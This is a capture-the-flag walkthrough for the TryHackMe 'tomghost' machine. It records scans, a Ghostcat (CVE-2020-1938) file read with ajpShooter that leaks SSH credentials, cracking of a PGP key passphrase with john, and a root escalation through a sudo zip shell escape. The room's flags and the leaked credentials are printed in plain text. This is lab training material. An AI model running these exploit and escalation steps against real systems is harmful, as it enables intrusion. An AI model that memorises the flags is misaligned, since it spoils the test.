tomghost

Title **tomghost**
IP Address **10.10.208.61**

[Task 1] Flags

click me	click me
#1	Compromise th

THM{GhostCat_1s_so_cr4sy}

---

click me	click me
#2 500	Escalate privileges and obtain root.txt

THM{Z1P_1S_FAKE}

---

scans

NMAP:

```
PORT        STATE       SERVICE              VERSION
22/tcp      open        ssh                  OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
|   256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_  256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp      open        tcpwrapped
8009/tcp    open        ajp13                Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp    open        http                 Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat/9.0.30

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

NIKTO:

```
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.208.61
+ Target Hostname:    10.10.208.61
+ Target Port:        8080
+ Start Time:         2020-04-17 10:08:54 (GMT-4)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-39272: /favicon.ico file identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community
+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.
+ OSVDB-3720: /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users.
```

DIRBUSTER:

```
/
/docs/
/examples/
/docs/api/
/docs/architecture/
/docs/config/
/examples/jsp/
/examples/servlets/
/docs/index.html
/docs/comments.html
/examples/index.html
/docs/developers.html
/docs/introduction.html
/docs/api/index.html
/docs/changelog.html
/docs/architecture/index.html
/docs/config/index.html
/docs/config/resources.html
/examples/jsp/index.html
/docs/architecture/overview.html
/docs/config/service.html
/docs/setup.html
/docs/config/server.html
/docs/config/engine.html
/docs/building.html
/docs/config/http.html
/examples/servlets/index.html
```

vulns

ghostcat

```
--------------------
CVE-2020-1938       7.5         https://vulners.com/cve/CVE-2020-1938
CVE-2019-17569      5.8         https://vulners.com/cve/CVE-2019-17569
CVE-2020-1935       5.8         https://vulners.com/cve/CVE-2020-1935
-------------------------------------------------------------------------------------------------------------------
```

exploiting user

python3 ajpShooter.py http://10.10.208.61:8080 8009 /WEB-INF/web.xml read

```
       _    _         __ _           _
      /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __
     //_\\ | | '_ \  \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
    /  _  \| | |_) | _\ \ | | | (_) | (_) | ||  __/ |
    \_/ \_// | .__/  \__/_| |_|\___/ \___/ \__\___|_|
         |__/|_|
                                                00theway,just for test


[<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"1261-1583902632000"
[<] Last-Modified: Wed, 11 Mar 2020 04:57:12 GMT
[<] Content-Type: application/xml
[<] Content-Length: 1261

<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at
```

```
      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to GhostCat
        skyfuck:8730281lkjlkjdqlksalks
  </description>

</web-app>
```

SSH login with skyfuck:8730281lkjlkjdqlksalks

ssh skyfuck@10.10.127.191

password: 8730281lkjlkjdqlksalks

----

cat /home/merlin/user.txt

THM{GhostCat_1s_so_cr4sy}

exploiting root

transfer pgp and asc files and use john for password hash

scp skyfuck@10.10.143.167:/home/skyfuck/* .

----

gpg2john tryhackme.asc > hash

----

john -wordlist rockyou.txt hash

----

use cracked password of alexandru to decrypt PGP file

gpg --decrypt credential.pgp

----

login as merlin with new password and run **sudo -l**

----

sudo access given to ZIP

TF=$(mktemp -u)

sudo zip $TF /etc/hosts -T -TT 'sh #'

sudo rm $TF

----

cat root.txt

THM{********************************}gpg -h